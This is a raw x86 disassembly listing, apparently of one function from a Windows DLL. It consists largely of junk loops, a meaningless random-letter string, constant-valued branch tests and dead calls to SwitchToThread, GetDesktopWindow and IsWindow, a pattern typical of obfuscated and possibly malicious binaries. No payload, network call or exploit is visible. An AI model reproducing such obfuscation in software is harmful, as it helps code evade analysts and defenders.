lea ecx, [ebp - 0x754]
call fcn.10001e41
mov ecx, dword [ebp - 0x644]
mov dword [eax], ecx
jmp 0x10017d0e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x754]
call fcn.10001e25
mov eax, dword [ebp - 0x8ac]
mov dword [ebp - 0x7a8], eax
mov dword [ebp - 0x64c], 0x34f0
mov dword [ebp - 0x950], str.dgahwi_twxj_apppyazjm_afo_coythwyi_pvrgozn_fkecuakgs_ltxnylh_zvk_cqokshq_qgiubd_fjdeuqp
cmp dword [ebp - 0x64c], 0x37ed
jle 0x1001802d
and dword [ebp - 0x264], 0
jmp 0x10017fcc
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x5313
jge 0x1001802d
and dword [ebp - 0x26c], 0
jmp 0x10017fee
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0xffe
jge 0x1001802b
mov eax, dword [ebp - 0x264]
add eax, dword [ebp - 0x26c]
cdq
mov dword [ebp - 0x874], eax
mov dword [ebp - 0x870], edx
push dword [ebp - 0x870]
push dword [ebp - 0x874]
mov ecx, 0x1007cab8
call fcn.10001cb3
jmp 0x10017fe1
jmp 0x10017fbf
push 3
lea ecx, [ebp - 0xb54]
call fcn.10001dc8
mov dword [ebp - 4], 0x38
mov dword [ebp - 0x74], 0
jmp 0x10018051
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 3
jge 0x1001806d
push dword [ebp - 0x74]
lea ecx, [ebp - 0xb54]
call fcn.10001e41
mov dword [eax], 0xfffffff6
jmp 0x1001804a
mov dword [ebp - 0x74], 0
jmp 0x1001807d
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 4
jge 0x10018093
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0xa68], 0x96960f57
jmp 0x10018076
mov byte [ebp - 0xd9], 0
movzx eax, byte [ebp - 0xd9]
test eax, eax
je 0x100180ab
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xa68], 2
jmp 0x100180d9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa68]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa68], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa68], 0
jl 0x1001810a
mov byte [ebp - 0xe4], 0
movzx eax, byte [ebp - 0xe4]
test eax, eax
je 0x10018108
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
jmp 0x100180be
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb54]
call fcn.10001e25
mov dword [ebp - 4], 0x39
cmp dword [ebp - 0x64c], 0x3129
jge 0x1001813c
mov edx, dword [ebp - 0x950]
mov ecx, 0x1007cab8
call fcn.100036f5
jmp 0x10018158
or dword [ebp - 4], 0xffffffff
jmp 0x10018162
mov eax, dword [ebp - 0x8b4]
mov dword [ebp - 0x904], eax
push dword [ebp - 0x904]
push dword [ebp - 0x7a8]
call dword [0x1008bd44]
mov dword [ebp - 0x7b0], eax
mov eax, dword [ebp - 0x7b0]
jmp 0x100185b1
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0xd8], 0x27f3
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x7d0], 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xba8], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jg 0x100181d3
mov dword [ebp - 0x354], 1
jmp 0x100181da
and dword [ebp - 0x354], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x354], eax
jne 0x100181f1
mov dword [ebp - 0x7b8], 1
jmp 0x100181f8
and dword [ebp - 0x7b8], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xbd4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xbdc], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jge 0x10018221
mov dword [ebp - 0x35c], 1
jmp 0x10018228
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x35c], eax
je 0x1001823f
mov dword [ebp - 0x364], 1
jmp 0x10018246
and dword [ebp - 0x364], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x364]
jg 0x1001825d
mov dword [ebp - 0x36c], 1
jmp 0x10018264
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0xd8]
imul eax, dword [ebp - 0x36c]
test eax, eax
jne 0x10018284
cmp dword [ebp - 0x14], 0
jne 0x10018284
and dword [ebp - 0x374], 0
jmp 0x1001828e
mov dword [ebp - 0x374], 1
mov eax, dword [ebp - 0x374]
sub eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jl 0x100182a8
mov dword [ebp - 0x37c], 1
jmp 0x100182af
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x37c]
sub eax, 0xce3d978
cmp eax, 0xffff0001
je 0x100182cd
mov dword [ebp - 0x384], 1
jmp 0x100182d4
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x384], eax
jl 0x100182eb
mov dword [ebp - 0x38c], 1
jmp 0x100182f2
and dword [ebp - 0x38c], 0
cmp dword [ebp - 0x38c], 0xc2e3a4c6
jbe 0x1001830a
mov dword [ebp - 0x394], 1
jmp 0x10018311
and dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x394]
sub eax, dword [ebp - 0xd8]
cmp eax, 0xfffffff9
jle 0x1001832e
mov dword [ebp - 0x39c], 1
jmp 0x10018335
and dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0x39c], eax
jg 0x1001834f
mov dword [ebp - 0x3a4], 1
jmp 0x10018356
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0
je 0x10018380
mov eax, 0xef9f3b06
test eax, eax
je 0x10018380
mov dword [ebp - 0x3ac], 1
jmp 0x10018387
and dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x3ac], eax
jne 0x1001839e
mov dword [ebp - 0x3b4], 1
jmp 0x100183a5
and dword [ebp - 0x3b4], 0
imul eax, dword [ebp - 0x3b4], 0x7eb6
test eax, eax
je 0x1001844e
mov dword [ebp - 0x7c0], 2
mov dword [ebp - 0x9d0], 0xff5ff74f
mov dword [ebp - 0x9cc], 0xff5ff74f
mov dword [ebp - 0x9c8], 0xff5ff74f
mov dword [ebp - 0x9c4], 0xff5ff74f
lea ecx, [ebp - 0x309]
call fcn.100020e3
push eax
lea eax, [ebp - 0x9c0]
push eax
lea eax, [ebp - 0x9d0]
push eax
lea ecx, [ebp - 0xc70]
call fcn.1000716b
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xb64]
call fcn.10007145
mov dword [ebp - 4], 0x3b
mov esi, dword [ebp - 0x7c0]
push 1
lea ecx, [ebp - 0xb64]
call fcn.10001e41
mov dword [eax], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb64]
call fcn.10001e25
jmp 0x100185af
mov dword [ebp - 0x304], 0xbb1d
mov dword [ebp - 0xd8], 0
jmp 0x10018471
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 1
jne 0x100185af
mov dword [ebp - 0x3c4], 0x315b
mov dword [ebp - 0x14], 0
jmp 0x10018498
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100185aa
mov dword [ebp - 0x7c8], 0xc1b09c82
mov dword [ebp - 0x274], 0xc6c04840
cmp dword [ebp - 0x7c8], 0
je 0x100184c4
jmp 0x100185aa
cmp dword [ebp - 0x304], 0
je 0x100184e6
mov eax, dword [ebp - 0x304]
add eax, 0xa1e2
je 0x100184e6
mov dword [ebp - 0x3bc], 1
jmp 0x100184ed
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x3bc]
sub eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x274], eax
je 0x10018592
mov eax, dword [ebp - 0x304]
imul eax, dword [ebp - 0x3c4]
test eax, eax
je 0x10018526
xor eax, eax
je 0x10018526
mov dword [ebp - 0x3cc], 1
jmp 0x1001852d
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x7d0]
cmp dword [ebp - 0x3cc], eax
jne 0x10018547
mov dword [ebp - 0x3d4], 1
jmp 0x1001854e
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x27c]
cmp dword [ebp - 0x3d4], eax
jge 0x10018568
mov dword [ebp - 0x3dc], 1
jmp 0x1001856f
and dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x274], eax
imul eax, dword [ebp - 0x274], 0xffffffff
test eax, eax
je 0x10018592
mov dword [ebp - 0x3e4], 1
jmp 0x10018599
and dword [ebp - 0x3e4], 0
mov eax, dword [ebp - 0x3e4]
mov dword [ebp - 0x27c], eax
jmp 0x10018491
jmp 0x10018464
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret